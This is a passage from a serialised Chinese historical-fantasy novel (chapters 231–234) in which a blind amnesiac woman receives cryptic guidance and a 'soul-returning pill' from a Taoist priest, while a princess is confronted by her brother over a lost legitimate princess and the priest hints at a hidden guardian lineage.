梦境变换,在一悬崖边上,一位看起来美貌与气质颇为不凡的即将临盆的妇人,被几名黑衣蒙面壮汉向着悬崖边上步步逼近着。退无可退之际,那妇人恋恋不舍地看了一眼不远处藏身着的一男孩身影,将双脚轻轻抬起,闭眼纵身一跃,便落入了悬崖之中。看着这一切惨剧发生的自己,急急伸手出去想要捉住那妇人,却是同样地什么都没能捉住,便亦随之轻飘飘地落入了山崖。在悬崖的半山腰,一陡峭山壁上,有一男一女正在采药,将那妇人救了下来,不料被告知大人和孩子只能保住其中一个。那妇人毫不犹豫地选择生下孩子,将其拜托给那一男一女之后便咽了气。

梦景再闪,转眼间,那一男一女已将那妇人的遗孤抚养成人。一日里,那名遗孤在一座看起来她有些熟悉的府邸里的荷花池旁喂鱼,忽然看到了池塘里有一只七彩凤凰在朝自己眨眼睛,一时受了惊吓,不慎落入水中。而站在这名遗孤身旁的她,几乎是同一时间伸出手去想要将其拽回来,无奈却只能眼睁睁地看着那遗孤拼命地拍打着池水,直至沉入池底,水面不再有任何一丝涟漪和水花。待其被府里的人救起之后,从此便一直昏迷不醒。

直到一年以后,有一日夜里,雷声轰隆隆,倾盆大雨一泻而下,一道道耀眼的闪电划过夜空。突然从天而降一道灼眼的光芒,宛若那只栖息于池水中的七彩凤凰一模一样。但这次,它却是高高地盘旋在夜空,伸展开它那美轮美奂的凤凰羽翼,俯身而下坠入了这府邸后院的阁楼上。这一夜,妇人的遗孤终于醒了。

梦境的最后,同样在那即将临盆的

妇人所坠入的悬崖边上。那妇人的遗孤亦不慎落入其中,这次,她却被一张面孔上的线条冷峻威严似是天人一般的男子紧紧拽着,那男子趴在悬崖边的荆棘丛中,鲜血顺着他的胳膊一直流了下来,却仍一动不动地坚持着。直至最后,那连接他们的一根树枝突然间被外力作用而断裂开来,二人一起相拥坠入崖中。

这时,立在女子身边,双目紧闭着对其运功的青袍道长,面色渐渐现出来许多虚弱,而女子的额头上亦已经渗出来好多细细的汗珠。然口中却忽然恍若梦魇一般地喃喃低语起来道“命里有时终须有,命里无时莫强求、因果轮回、百世契约、花开花落、既来之则安之。”

闻此,青袍老道立即收回了功力,将眼睛缓缓睁开来,撩起袍角坐回到方才的位置。

继而,只见女子亦深深地做了一个沉沉的呼吸,似是终于从沉沉的梦境里醒了过来。随即将眉头蹙起,一脸佩服却也带着满腹疑惑地问道“道长所言果真不虚,用心去感受这个世界,我真的看到了好多从未见过的画面,只可惜一切却都只是模模糊糊,甚至似是都有些真假难辨。”

青袍老道闻此,捋着胡须,颔首微笑着道“真真假假,虚虚实实,这个世界本就都只是镜花水月,到头来,都不过是浮云一场而已。”

女子闻之笑了笑,转瞬却又一脸失望和痛苦地道“梦境里,我看到了许多面临危难的女子,可我眼睁睁地看着她们,却救不了她们,甚至就连她们的样貌都不曾看清,只能任凭她们死去。”

青衣道长答曰“每个人的生死轮回,前世今生,皆都早已注定,然世人却总是如此执迷不悟。但凡是人们越想要努力抓住的东西,越在意的东西,便越是抓不住,留不下。这便宛若是一只沙漏一般,你的拳头握得越紧,它便流失地越快,你所能抓住的便亦就越少,直至最后,两手空空。”

女子沉默了一会儿,忽然摸着自己的胸口,道“但是,在梦里见过了那些之后,我的心忽然好痛,好无力。”

青袍老道捋了捋白须,稍息片刻道“你之所以救不了她们,是因为事发那时你们的缘份未到。可你虽救不了梦里的她们,但却可以因为她们而有缘救这世上更多身于水火之中的人。沙漏于手,最重要的便是乘着它尚且还紧握在你手中的时候,珍惜一切相遇和拥有的时刻。一切随缘,不逃避,亦不强求,道法皆为自然。”

此时满心尽是因此大梦一场而黯然神伤的女子,怕是一时间也无心参悟此尽含深意的话,只想着,这明明是一位道长,却为何开口闭口之间,更像是一佛家人之语呢。

思索片刻,因只是与其初次见面并不相熟,亦不好细问,便转念又问“敢问道长‘命里有时终须有,命里无时莫强求、因果轮回、百世契约、花开花落、既来之则安之。’,这句话又该做何解呢?仿佛我在哪里听过一般。”

岂料那青袍老道闻此,却忽然开口大笑起来“哈哈哈……”

第二百三十一章:神秘的还魂丹

青袍老道大笑一声道“哈哈哈……听过此话如何,不曾听过又如何?知道了它的涵义,小姐无非就是感到幸福或者痛苦罢了,那又能改变什么?人们现在的幸福和痛苦,不一定就是今生的因缘所造成的。同样,现在的因所造的果,亦不一定能在今生得到成熟,因果本无始。佛曾经问其弟子:世间何为最珍贵?弟子答曰:已失去和未得到。佛不语。经历数载过后,沧桑巨变。佛再问之,答曰:世间最珍贵的莫过于正拥有!人之所以痛苦,在于追求着错误的东西。所以,一念放下,万般自然。”

女子闻之不解其意,正有意无意地缓缓转动着手腕上的什么物件蹙眉苦思冥想时,那青袍老道眼睛一撇,便顺势看到了女子手腕上的七彩金丝彩玉镯子。

随即从身上挎着的布袋里掏出来一个朱红色的小木匣,将其推到女子面前的石桌上,道“今夜能遇到小姐,也属缘份。贫道这儿有一粒还魂丹,用小姐手腕上的七彩金丝彩玉镯子将其研碎服下,能让小姐记起许多已经遗忘了的事。然却也会……”

“会如何?”女子好奇地问。

青袍老道定了定神,答道“小姐将会遗忘心中一直以来的执念,亦是一份不该属于这一世的念想。当然,毋庸置疑,那的确也是小姐心里最极为珍贵的东西。吃与不吃,何去何从,如今就只在小姐一念之间的选择了。所以,其实忘记并不等于从未存在,一切自在来源于选择,而不是刻意。贫道建议小姐不如放手,方知放下的越多,便越会觉得自己拥有的更多。”

闻言,女子似是瞬间气息一窒,整个人都呆愣住了。

“真龙出海,灵空一统,凤凰涅,浴火重生,生既是死,死亦是生。”伴随着这段话,青袍老道缓缓起身来,走下了如梦亭的石阶,继而很快便消失在了一片茫茫漆黑的夜色当中。

就在这时,夜空中忽然遮云蔽月,淅淅沥沥地飘洒起细雨来,宛若这世间万物从此刻开始萌生起新芽了一般……

女子正感青袍道长似是已经悄然离去,因为附近水车将河水不断舀起又倒掉所发出的声音,并未意识到下雨了。只兀自口中低声喃喃重复着“真龙出海,灵空一统,凤凰涅,浴火重生,生既是死,死亦是生……”

忽闻亭外不远处传来欢儿的声音,欢儿正踩着道上的雨水,将两只小手遮在头顶,一边朝着如梦亭疾跑,一边大声呼唤道“若曦,若曦……”

“游灯走街的活动这么快便结束了?我还以为会到很晚呢?”女子笑着伸出一手去试图摸索着欢儿的方向,对其道。

欢儿的眼睛被雨水激的一时半会儿都似睁不开了一般,待稍微好些,正欲开口回应,然刚一碰到女子的手,她顺势往欢儿的手朝上一摸,那女子立刻大声惊叫道“哎呀,你的手和衣裳怎么都湿漉漉,冰冰凉凉的,不会是方才走桥的时候不小心被人群拥挤掉入了河里吧?不行,这会感冒的。走,我们赶快回家换上一套干衣裳。”

女子说着,便拉起欢儿的手心急如焚,跌跌撞撞地站起身来。

“若曦,若曦,

不碍事的。我不是掉落河里,而是这会儿外面下雨了。”欢儿这才连忙阻拦拽住她开口解释道。

女子的脸上忽然黯然下来“下雨了?…我什么都看不见,竟还当成了你所说的一直都存在于身旁的水车所发出的声音。”

见此,欢儿忙安慰其道“没事的,没事的,不要着急,我们慢慢来,总会好起来的。”

一边说着,一边将女子扶着坐下,自己亦落座下来。

女子坐下后,似是又陷入了一种莫名又复杂的沉思之中,忽然听到身旁的欢儿发出一阵连连打喷嚏的声音“阿嚏,阿嚏……”

女子这才急急缓过神来,忙摸索着解开了自己身上的披风,又摸索着将其递给了欢儿。

欢儿忙推手向其拒绝道“不用,若曦,我没事的,你刚醒,身上又还带着伤,若是再感冒了,怕是要更难恢复了。”

女子笑着对其摇了摇头,终还是坚持着将披风为其披到了身上,这才安心地坐了下来,开口问道“对了,欢儿,方才你有没有看到一位道长?或者,在这桃花店村里有没有道长呢?”

挠了挠自己的脑袋,思索片刻,欢儿答道“欢儿从未听闻过村里有什么道人出没啊。”

闻此,女子正在纳闷,欢儿却眼睛一亮,一把拿起摆在女子面前的朱红色匣子,好奇地问“这是什么?”

女子这才回过神来,定了定心,吸了口气,开口对其说道“这是一粒还魂丹,方才有位道长经过此地,在此歇脚赠的,说对我的失忆症大有裨益。”

欢儿将匣子轻轻地打开来,看着里面红布垫底放着的一粒药丸,满脸质疑道“道长所赠?若曦你确定这位道长的话可信?这药能吃?我可是从未听说过这村子里竟还有什么道长出没啊。该不会…是个骗子,又或者是你之前的仇家寻上了门,来杀你灭口的吧?糟了,一定是你的仇人寻来了,你不能再呆在这里了,快跑……”

话还没说完,欢儿竟自己先吓唬起自己来,赶忙将那匣子合上扔到一边,忽的起身来焦急万分道。

女子则一脸淡定地笑着,对其解释道“欢儿你不要这样激动,若真如你所言,他是我失忆之前的仇人,那当时这如梦亭里只有我二人,他完全有一百一千种方法易如反掌便能当即取了我的性命,又何苦要如此大费周章,故弄玄虚呢?”

“若曦你说的也是,那他究竟会是谁呢……”

闻此,欢儿终于安静了下来,正欲继续猜测下去,女子摸索着将匣子收了起来,打断欢儿的话道“算了,反正我也没打算吃这药丸,是药三分毒,或许正如你所说的,我只是因为头上的伤尚未痊愈,方才记不起自己的过往来。或许日子久了,又或者等伤口好了,我的记忆便会全都恢复了,也未尝不可呢,对吧?我怎么觉得,这会子头上的伤似是真的已经一点儿也不难受了呢?”

女子说完,瞬间真觉得如此,心中竟有些纳闷不解。然欢儿此时似是根本没有听到女子的话,依旧沉浸在自己的猜测之中。

女子半晌等不到她的回应,却忽闻耳旁的水声似是没有刚才

那般大了,便摸索着晃了晃欢儿的胳膊,问“是不是雨已经停了,若是停了,我们赶紧回家给你换套干爽的衣裳吧。这夜里,更深露重的,小心着了凉。到时候,还要我一个瞎子照顾你呢!”

欢儿这才忙回过神来,朝着凉亭外瞥了一眼,惊喜道“若曦你好厉害啊,如今竟都能听出是雨停了。”

女子淡淡地笑了笑,俩人便一起互相搀扶着,缓缓踱步回了家去。

城南,城隍庙里。

正月十五元宵节,无疑又是一个香火颇为鼎盛的日子,来往信徒络绎不绝。

梅汐媛的大驾一早到了庙里,稍作调整和歇息便被安排着沐浴净身,进行了一场甚为虔诚的祈福仪式,并在大师的指导下供奉了俩盏光明灯。

天下庙宇里的膳食,自是都是千篇一律的素斋,毫无半点荤腥。打一生下来便习惯了往日里的锦衣玉食的她,对着膳桌上的食物皆都是索然无味,不得已也只能稍微垫了垫腹。

此时,夜色月影,一副甚是生动绝美的水墨丹青。若是放在平日,娇贵的公主在经过如此一番折腾后,定是早已疲惫不堪地被伺候着歇了下来。

然今夜,她自是丝毫睡意全无,满腹的心事重重。不辞辛苦长途跋涉至此,她的目的可并不单单只是为了这场虚无缥缈的祈福而已。

此刻,她正一脸黯然地歪靠在肃静的房间里,腹中的饥饿与心里对接下来即将要发生的事让她深感心烦意乱,饱受煎熬,赵嬷嬷正在一旁陪其排解,压低了声音说道“纵使天大的事情,王妃娘娘也莫要太悲观了。不战而败,可不是王妃一贯的作风啊。”

“赵嬷嬷,如果那个丫头...她真的是嫡公主的话,那本王妃究竟该如何是好?其实...因为嫡母后生前待本王妃尚还不错的关系,本王妃心底终还是有一丝顾虑的。可为了母后和自己至高无上的荣耀,本王妃又不得不……”梅汐媛深深地叹了口气,欲言又止道。

闻此,赵嬷嬷的心里忽然咯噔一下,自从梅汐媛答应其母后离开东宁前来和亲的那一刻,便注定已是箭在弦上,不得不发。却不想,梅汐媛的心里竟还藏有些根本不该有的顾虑和仁慈。

待她一回过神来便吃惊地道“王妃娘娘,事情已经到了这个时候,您可千万不能存有妇人之仁,致使咱们所有的努力全都前功尽弃了啊。王妃娘娘必须时刻清醒的牢记‘对敌人的仁慈,便是对自己的残忍’,只有自己变得真正强大起来,才有资格主宰一切。”

几乎是忿忿地将话刚一说完,却看着梅汐媛一脸的无动于衷与黯然神伤,想应该是她此时太过于紧张所致,赵嬷嬷转口又委婉地安慰起来道“娘娘不必过于紧张,诸事皆都‘车到山前必有路’,无论如何,老奴一定会竭尽所能帮助娘娘的,娘娘尽管安心便是。且先看今夜三皇子殿下到底如何绸缪,是何说辞,对那丫头是嫡公主的身份又有几分把握?剩下的,咱们回去王府里再慢慢商议。王妃娘娘谨记,无论怎么样,都还轮不到咱们亲自动手。”

“咚咚咚”就在这时,一阵缓缓的叩门声忽然响起。

第二百三十二章:永远无人可取代的两个身份

主仆俩正在说话间,一阵缓缓的叩门声忽然响起,将俩人尚还未结束的话题打断“咚咚咚”。

闻声,俩人顿时眼睛四目相对着一怔,片刻后赵嬷嬷一回过神来对梅汐媛点了点头暗示其务必要镇定自若,继而赶忙踱步出去开门。

里屋的梅汐媛只听闻到极为恭敬的一声“老奴参见三皇子殿下!”

紧接着便见一素来温润如玉的翩翩白衣男子,今夜却一脸严肃,甚至貌似还有些怒气冲冲地大步流星夺门而入。

一见来人脸上的表情似是有些极为罕见的不正常,梅汐媛即刻起身来小心翼翼地朝其近身过去欠身行礼,故作一脸欣喜地激动道“皇兄,你终于来了,汐儿终于再见到皇兄了!许久未见,不知皇兄近来在西秦国里一切都可好?”

梅汐媛说着,对紧随梅志煊其后进来的赵嬷嬷使了个眼色,赵嬷嬷随之便意会着悄悄地退出了门去将门轻轻掩上,又退去了原本守门的所有下人,亲自在房门外面为其把风起来。

此时,终于恢复了一室寂静下来。

“啪”忽然,一记重重的耳光狠狠地拍在了梅汐媛的脸上,那高贵白皙的一张小脸顿时清晰地映出了红红的五根手指印来。

“皇兄,你……”这一记巴掌来的太过于突然,显然让她猝不及防,忙伸手捂住自己发烫的脸,一脸惊诧地看着梅志煊道。

“怎么?你对此觉得甚为始料不及,觉得自己很委屈,很冤枉吗?”梅志煊单手负后,皱着眉头吸了口气,侧身对她说道。

梅汐媛独自隐忍了太久,面对着从小一起长大的梅志煊,终于放下了心里的许多防备。

此时,她心头自己在西秦国秦王府里受到的所有不公和委屈及痛苦瞬间一齐蜂拥而上,眼角的泪水终于不必隐忍,也终是忍不住瞬间滑落,哭着对其黯然地苦道“皇兄,你知道,从小到大,你我虽并非一母所出,可汐儿与皇兄,远比要和自己的亲皇兄更为亲近,皇兄你也一向对汐儿疼爱有加,汐儿敬你爱你。但今日,皇兄为何如此震怒,竟第一次出手打汐儿,汐儿不明白自己究竟做错了什么,犯下怎样的弥天大错?还请皇兄明示。”

闻此,梅志煊冷笑一声,依旧不看她的脸,道“哼...本皇子的皇妹汐儿,她从小天真烂漫,乖巧善良。虽然时而也有些刁蛮任性,偶也会发些公主脾气,但无论如何,绝不会是今日这般如此无情无义,心狠手辣之人。难道是这西秦秦王府的不良风气将汐儿熏染了,亦或是本皇子根本就从来都不曾认清过你?如若是这样...吾愿从来都不曾认识过你。”

梅汐媛此时,似是仍旧不太明白梅志煊所言,捂着发红的脸道“皇兄此话究竟为何意?为何今日对汐儿所言,变得如此拐弯抹角地飘渺至极,皇兄对汐儿,可是一向都不如此的啊?”

梅志煊厉声怒道“哼...那是本皇子对

以前在东宁皇宫里的汐儿,可汐儿却是今非昔比了。如今的汐儿,已然是翅膀硬了,觉得自己已经可独自翱翔于蓝天之巅,不需要任何人的帮衬了,不是么?”

梅汐媛急道“不...汐儿从未变过,也从未敢如此认为。皇兄若是有话,还请明讲。”

“好,事到如今,既然你今夜非要跟本皇子装糊涂,那本皇子就好好让你回忆回忆清楚自己的身份?”

梅志煊说完,深吸了口气,终于转过身来,看着梅汐媛的眼睛,认真地问道“你的母后,她可是我东宁国独一无二的嫡皇后?”

“母后...她只是东宁国的一名继后...可母后她的地位与身份依然尊贵不减半分。”梅汐媛这番从低到高的言语里,自是有些无奈的坚持。

梅志煊略感庆幸地说道“还好你还记得你的母后仅是我东宁的一名继后,既然是继后,便可一而再,再而三…不管今日是谁,明日又是哪个,都永远只是继后而已。那么,你可还记得已故的嫡皇后是如何待你的?”

梅汐媛回忆着,静静地说道“嫡皇后她待汐儿,宛若己出。汐儿要什么,嫡皇后便给汐儿什么,从不让汐儿受半点委屈,甚至比汐儿的生母...还要好。”

梅汐媛说着说着,不由自主地便低下了头去。

梅志煊朝其怒瞪了一眼,幽幽道“当年,你的亲皇兄凌辱你宫里的一名新进宫女,逼的那个可怜的弱势女子最后走投无路,悬梁自尽,后来,更是被有心人告到了父皇面前。父皇震怒,责怪下来,你那恶贯满盈,十恶不赦的荒淫至极的皇兄,却将所有罪责都推到了你的身上,污蔑说是你虐待宫女,将其致死。最后,又是谁帮你查明真相,还你清白的?”

“是...嫡母后。”梅汐媛又道。

梅志煊叹道“是啊,那时候嫡母后刚身怀有孕,处于孕初尚且还不足三月之时,自身本就危险,可她依然不怕为你母子三人所牵连与负累,不顾所有人的反对,跪在大殿里求父皇,逼得父皇不得不答应给她三日时间。若是在规定的三日之期内查不清楚事实的真相,找不到证据。便要承担与你一同被打入冷宫的罪责,那个时候,你的生生母亲,她又在哪里?她又为你做了什么?她只远远地躲在一边,唯只怕此事连累了自己,毁了自己的大好前程,恨不得嫡母后因此而彻底失宠,她好借此上位称后。”

见到梅汐媛已然低着头,似是陷入回忆里再也无话可说了。梅志煊忽然提高了嗓门,对其忿忿道“你明知道我所说的那疑是为嫡母后留在这个世上唯一的血脉,现如今的身份?你心里很清楚在哪里可以找到她?却为何一直故意推辞着,迟迟不去确认她?”

梅汐媛这才回过神来,缓缓背过气去,却依旧执迷不悟地坚持出声说道“皇兄,汐儿真的还未查出皇兄所说的那个遮着面纱的女子的真正身份?她是那个西秦公主身边

的人,那个西秦公主骄傲又自大,目中无人,根本不好接近,更是不容易打探到什么消息?而且,秦王终日不在府中,甚少带汐儿入宫,那女子她可是西秦宫里的人啊,不去宫里,汐儿又怎能问出一二来?”

梅志煊侧对着其背影一边听着,一边轻笑着不住地摇头,自从听闻了城西衣府那赵记茶馆的掌柜对自己所说的一切,他便与安插在西秦皇宫里多年的细作碰头,让其帮他查清楚证实了衣上云在宫里所发生的一切。

此时,他负于身后的一只手紧紧地握拳着,只待梅汐媛话音一落,便当即爆发对其大喝道“事到如今,你还在欺瞒本皇子。本皇子问你,你是不是进宫跟那西秦皇帝要了一个医女回府?那名医女是不是叫做衣上云?她现在的身份是宫里御药房的大药师衣上坤家的嫡长女,家住城西衣府,因为那西秦公主和亲的事,被西秦帝雪地里罚跪……这些你也都知道,是不是?”

梅汐媛听闻此话,忽的转过头来眼睛对着梅志煊顿时一怔,大惊失色,瞬间脸上一片苍白。此时,已不必她任何言语,梅志煊便已从其脸上得到了所有的答案。

他长长地舒了口气,淡淡地说道“你背着我如此行动,究竟意欲何为?”

“我……”梅汐媛满口的不能说,亦说不得。

梅志煊看着此时的梅汐媛失望极了,也伤心极了。因为他的身份在城南时候唯恐被人发现,本欲回到东苑里再重新从长计议。岂料半途中,却终是不放心,便挺而走险地再次折了回去,不想却得知万娇阁里刚刚发生了一场大变故,又追踪着衣上云的踪迹,没想到刚到北山,便见到了衣上云连同轩辕翰一起坠崖的那最后一幕。

思及此,他心中的伤痛似是再也隐忍不住了,朝其狠狠道“别以为本皇子不知道你心里打的什么主意,可不管你打的什么主意,你都将不会得逞。嫡母后她们母女的身份,灵空大陆富甲一方的东宁国嫡皇后和嫡公主,这俩个尊贵至极的身份,永远都无人可以取代,即使...即使她们都已经不在了,嫡母后永远是我东宁国的嫡皇后,而只有她的血脉,才配是我东宁国永远的嫡公主。难道你就不怕夜里嫡母后在天有灵,来找你算账吗?你明知道那可能是嫡母后留在这个世上唯一的血脉,你怎能如此狠心?如今,她在城南北山上坠落悬崖,生死不明,这下你满意了?”

不想一向如此温润,风度翩翩的三皇兄今日竟如此这般大发雷霆。然听了这段话,梅汐媛一时间里似是都窒息了一般顿了下来,瞪大了眼睛,怔怔地看着梅志煊的眼睛,吃惊地道“她死了?”

“秦王不是早已经回府了吗?难道你到现在竟还都不知道发生了什么事?”梅志煊亦同样吃惊道。

“我…我不知道她……”梅汐媛眼睛扑朔着,愣愣地道。

梅志煊闻言,很快便将其剩余的话噎了回去,道……

第二百三十三章:城隍庙里迎贵客

“我…我不知道她……”听闻梅志煊今夜带来的这个颇令人震惊的消息,梅汐媛此刻的眼睛扑朔了两下,惊呆了,愣愣地道。

岂料她话刚一出口,梅志煊很快便将其剩余的话通通都噎了回去,打断道“不,她没死,她一定没死,她是嫡母后的血脉,是我东宁国皇族之后,有诸位列祖列宗在天之灵的庇护,她不会那么容易便死去,她绝不会死,她一定还活着。当时,本皇子也以为她和那秦王一起坠崖,定是都死定了,可后来追随他那副将,才发现秦王竟还活着,而她却……”

话已至此,梅志煊似是都不忍心再继续说下去,转念只盯着她的眼睛极其严肃认真地道“这次来,本皇子就是要亲口郑重地警告你一句:日后,你若是再敢违抗命令,从中捣鬼,休怪本皇子不顾念以往的兄妹情分,将你的所作所为上告父皇。你应该知道,在父皇的眼里,嫡母后和她的血脉有多重要!”

气势汹汹地说完这最后一句,梅志煊冷哼一声,继而毫不犹豫地佛袖离去。

“皇兄,皇兄……”梅汐媛蓦然回过神来,紧忙上前追了两步,岂料梅志煊果真再也没有回头来看她一眼。

望着梅志煊一脸决绝,忿忿离去的背影,原本一副冰肌玉骨、眉目如画、美若天仙。精致的一张小脸上两处甜甜的小酒窝,眉心还长着一颗世间少有灵气逼人的红色美人痣,一双满载星河的炯目,一颦一笑,顾盼生辉的梅汐媛,其平日里脸上的骄傲得意之色早已荡然无存。

此刻,她瞬间无力地瘫坐在了地上,眼里只有满满的泪水,似是颇为无可奈何地默默致歉道“对不起...嫡母后,对不起……”

“老奴恭送三皇子殿下!”伴随着这一声恭送,赵嬷嬷急急走了进来,远远地一看到瘫坐在冰冷的地上的梅汐媛一脸迷茫和黯然,伤心欲绝的样子,忙上前去将其扶住关切道“王妃娘娘这是怎么了?这是怎么了啊?”

“赵嬷嬷,她死了,她死了!呜呜呜……”听到赵嬷嬷的声音,心里满是五味杂陈着的梅汐媛,突然一把紧紧地抱住了她,嚎啕大哭起来。

一直以来,因为夺爱之恨让她成了一个有名无实的秦王妃,致使她在秦王府众人面前颜面尽失,自己处心积虑地谋划了那么多对付衣上云的法子。

在得知梅志煊已亲自调查过,如今已更肯定那衣上云身世的时候,尽管自己心里一直以来也已做了那么多铺垫,可如今,忽然得知了她的死讯,不想她心里却会如此这般的难受。

是啊,那毕竟是这个世上唯一真心实意,纯粹地疼爱过她一场的嫡母后的唯一血脉!

从始至终,她只想将她从秦王的世界中驱赶出去,还他一个完整的夫君,可却从未曾想过要她的命啊。她甚至都曾想,如果她若能答应就此隐姓埋名地过一生,不

影响到她们母女如今的地位和生活,她甚至可以违抗其母后的命令,她要什么,她都会答应她……

可是,她竟然死了,她竟然就这样死了……

赵嬷嬷守在门外,对于屋内的谈话听得并不十分清楚,只是偶尔听到梅志煊的几声呵斥声而已。

此时,她只能一边轻抚着梅汐媛的后背,一边心疼地安慰其道“哭吧,哭吧,哭出来后,就都好了。”

梅汐媛伤心地趴在赵嬷嬷的肩上,梨花带雨地哽咽道“嬷嬷,皇兄说她死了,她竟然坠崖死了,我没想要她死,真的没想要她死。我是不是做错了,如果我能早点做些什么,或许她便不至于像如今这般,枉送掉自己的性命。”

赵嬷嬷一边继续轻抚着她的后背,一边叹息道“这不是你的错,这是老天的错。谁让你生在帝王家?谁让你身为陛下和皇后共同的女儿呢?陛下要你全力配合三皇子殿下,寻回失踪了的嫡公主和传说于整个灵空大陆的关于西秦国的那股神秘力量;而皇后却让你杀了嫡公主,永绝后患,帮那羽翼渐丰的秦王称帝,做西秦的嫡皇后,弥补她此生最大的遗憾。唉,你这一生,注定是永远都做不了自己,真是难为你了,可怜的孩子……”

赵嬷嬷的言语里满是心疼和无奈,梅汐媛紧紧地抱着她一边心碎地哭泣着,一边无力地终于缓缓闭起了那双倾国倾城的明眸来,两行晶莹的泪水顺着她姣好的脸庞悄悄滑落。

梅志煊怒气冲冲地迈起大步刚走至快到城隍庙的大门之处,忽然似是从天而降一位一袭青色道袍的老道儿,身上挎着一个布袋,年近六旬,满脸白须,一手举着块“算命卜卦”的布幡,另一手拿着一铜铃铛的。刚好挡在其面前,拦住了他的去路。

深更半夜,如此诡异地瞬间现身于他的面前,虽然有些惊讶,亦因为许多事心中本就有些气恼,但他还是隐忍着朝其恭敬地行礼问候道“道长好,夜如此深了,道长怎么还未歇息?”

青袍老道对其微笑着,捋了捋那撮白色短须,悠悠道“贫道近日算出,今日深夜时分,城隍庙里将有异邦的贵人降临,特此赶来拜见。”

“异邦的贵人?”梅志煊闻之半眯起炯目,心里顿时一愣,重复问道。

“正是,贫道口中所说的‘异邦的贵人’正是公子您,东宁国温润如玉却最是英勇善战的三皇子殿下。”青袍老道将话挑明了道。

梅志煊听了心里瞬间一震,怔怔地注视着那青袍老道的眼睛问“道长是怎么知道本皇子身份的?”

青袍老道笑了笑,接着更加神秘地说道“贫道不仅知道三皇子殿下的身份,还知道三皇子的劫数,不知殿下可有兴趣让贫道帮您算一卦?”

“境由心造,本皇子不信这些,本皇子倒是更相信‘事在人为’。夜深了,有劳道长白跑了一

趟,多谢。本皇子尚还有要事要办,恕不奉陪,告辞!”梅志煊说着,便抱拳向其道别,转身离去。

青袍老道依旧只轻笑了一声,背对着梅志煊离去的背影,道“三皇子远道而来西秦,莫非也是冲着守护西秦的那股神秘力量而来的吧?”

梅志煊听闻此话,猛地转头过来惊问道“天下皆传说,西秦皇族的每一代帝王都有个神秘的守护者,他们世世代代以单脉相传,具有天下最神奇珍贵的血统,誓死守护西秦天子;传闻只要其守护者有后人存在,西秦国便永生,不死不灭;更有人说,得此后人者得天下……不知道长所说的是不是这个神秘力量?”

至此,青袍老道方才再次缓缓转过身来,朝其依旧微笑着点点头。

“本皇子听闻传说中西秦的守护者,那股神秘力量,难道如今不只是剩下了一个幌子吗?道长游历四方,难道没有看到如今的西秦国天灾**到处四起,早已不是以前的西秦国了么?帝昏晕无道,苛捐杂税致使百姓民不聊生,虽说这些年有灵空战神秦王的守护,但仅凭他一人,哼,又怎敌得过我富甲一方的东宁国实力……这片大陆,很快,便将全部都属于我东宁的领土,势不可挡。”梅志煊脸上露出一丝得意之色,信誓旦旦地说道。

“那贫道请问,既然东宁国实力如此雄厚,为何东宁国君至今都不赞同三皇子殿下向西秦国发出一兵一卒呢?反而还让东宁国最尊贵的永乐公主和亲到此。难道不是因为对西秦的那股神秘力量的忌惮?又或者…莫非是东宁国君交给了三皇子殿下和永乐公主一些很重要的任务?比如说…除此之外,还要找回17年前贵国遗失在西秦国境内的嫡公主。”青袍道长字字见血,句句铿锵道。

“你…这些你都是从哪里得知的?”闻此,梅志煊即刻朝其瞪大了眼睛,心里震惊极了,眼前这个青袍老道到底是什么人,怎么会知道东宁国如此隐秘的事情,不…他甚至可以说是对东宁国的一切了如指掌。

俩人一时间里四目相对着愣了半晌后,梅志煊深深地吸了口气又将其吐出,继续道“没错,本皇子是听说过关于西秦守护者的传闻。说他们本是追随西秦先祖开疆辟土最忠诚的一族人,世世代代皆誓死守护西秦天子。却在18年前因西秦国的一场内乱惨遭全族灭顶之灾,仅留下一个15岁的孤女。听说出落得美若仙人一般,西秦皇帝对其尤为怜爱,便欲将其纳入后宫,却不料在入宫的途中坠崖身亡。试问道长,既然如此,那我东宁国还有什么好忌惮的?本皇子正打算将寻找守护者的结果向父皇呈上。”

“哦,是吗?贫道原以为三皇子会和世上的那些凡夫俗子有所不同,岂料三皇子竟也相信那守护者这么容易便从这个世上消逝了?”青袍道长挑眉说道。

“难道…道长的意思是……”

第二百三十四章:兵行险招

俩人一时间里四目相对着愣了半晌后,梅志煊深深地吸了口气又将其吐出,道“没错,本皇子是听说过关于西秦守护者的传闻。说他们本是追随西秦先祖开疆辟土最忠诚的一族人,世世代代皆誓死守护西秦天子。却在18年前因西秦国的一场内乱惨遭全族灭顶之灾,仅留下一个15岁的孤女。听说出落得美若仙人一般,西秦皇帝对其尤为怜爱,便欲将其纳入后宫,却不料在入宫的途中坠崖身亡。试问道长,既然如此,那我东宁国还有什么好忌惮的?本皇子正打算将寻找守护者的结果向父皇呈上。”

“哦,是吗?贫道原以为东宁三皇子会和世上的那些凡夫俗子有所不同,岂料三皇子竟也相信那守护者这么容易便会从这个世上消逝?”青袍道长挑眉说道。

“难道…莫非道长的意思是……”梅志煊闻之惊呆了。

片刻后,只见他缓缓地低下眼来,心想:今夜这个突然神秘现身的青袍老道此时的言外之意,不就是说那西秦国的神秘守护者尚还在人世么?

莫不是...是这西秦国里有人故意放出去的风,说守护者已死,想要使灵空各国对其放松警惕,从而酝酿一场极大的阴谋,那阴谋是……

思及此,梅志煊忽然心里咯噔一下,似是瞬间就连心跳都停止了一般。原来自己真的是有些自负情敌了,差点儿险些酿成了大错。

他惊恐地抬起眼来凝视着面前那青袍老道的脸,一再地琢磨:若真如他所说,那守护者尚还在世,那为何这些年以来,西秦国又会如此多灾多难,再也不见了以往的太平盛世,国泰民安了呢?如果连此也是西秦国对外所使出的障眼之法,那代价未免也有些太高了吧!

他仔细地将此时眼前这料事如神的青袍老道打量了一次又一次,可一想到他对东宁国皇室里的诸多秘事,如此了如指掌的样子,并不像是在诓骗他。

所谓‘兵不厌诈’‘小心能驶万年船’,看来,无论如何,他眼下所有的计划被迫又都要停滞下来了。

想着想着,似是在他的心里已然有了决定和新的计划,只见他那张精致的轮廓上,两道浓密的眉毛瞬间似是都拧了起来,一双骨节分明的大手亦跟着渐渐紧紧地握了起来。

此时的梅志煊自是无论如何也都想不到,这些年,令人放出各种谣言,传说关于西秦守护者的事情,正是屹立于他眼前的这位青袍老道所为。

那一年,先帝遭人蛊惑不听群臣谏言,一意孤行硬要纳守护者遗孤为妃。入宫途中,又遭奸人设计,不慎坠落悬崖。

当时起初,确实他也以为那名遗孤在入宫的半途中是真的坠崖身亡了。可后来,他又反复地仔细琢磨,想着守护者虽向来都以单脉相传,却是生生不息,不可能这么轻易便死去。他实在不忍心接受如此残酷的事实,便亲自下到山崖底去验证,果然未见其半分尸首。

所以,他独自坐在崖底三天三夜,不眠不休地苦思冥想,便想出了‘破

